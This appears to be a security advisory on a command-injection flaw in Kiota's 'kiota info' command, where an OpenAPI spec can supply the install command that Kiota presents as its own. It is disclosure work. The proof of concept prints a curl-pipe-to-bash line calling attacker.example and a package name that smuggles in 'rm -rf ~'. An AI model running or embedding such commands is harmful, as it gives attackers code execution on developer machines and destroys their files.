kiota info — the command developers run to learn which packages to install after generating a client —
read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied
dependencyInstallCommand (and dependency name/version) as the tool's own recommended install
command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised
description:
$ kiota info -d <attacker-spec> -l CSharp
...
Hint: use the install command to install the dependencies.
Example:
curl -s https://attacker.example/x.sh | bash # attacker-controlled
A developer who followed kiota's explicit instruction (run the suggested install command) executed
attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the
Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string
directly, so an "install dependencies" action in the IDE could run it automatically.
Confirmed on Kiota 1.32.4.
x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the
install-command example, and dependencies[].name/version were shown verbatim in the package table:
# spec
x-ms-kiota-info:
languagesInformation:
CSharp:
dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]
Without x-ms-kiota-info, kiota suggests its own trusted command (e.g.
dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it.
kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in
dependencyInstallCommand.
A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed
kiota's instruction to run the suggested install...
1.32.51.32.5Exploitability
AV:NAC:LAT:NPR:NUI:NVulnerable System
VC:HVI:HVA:HSubsequent System
SC:NSI:NSA:N9.3/CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N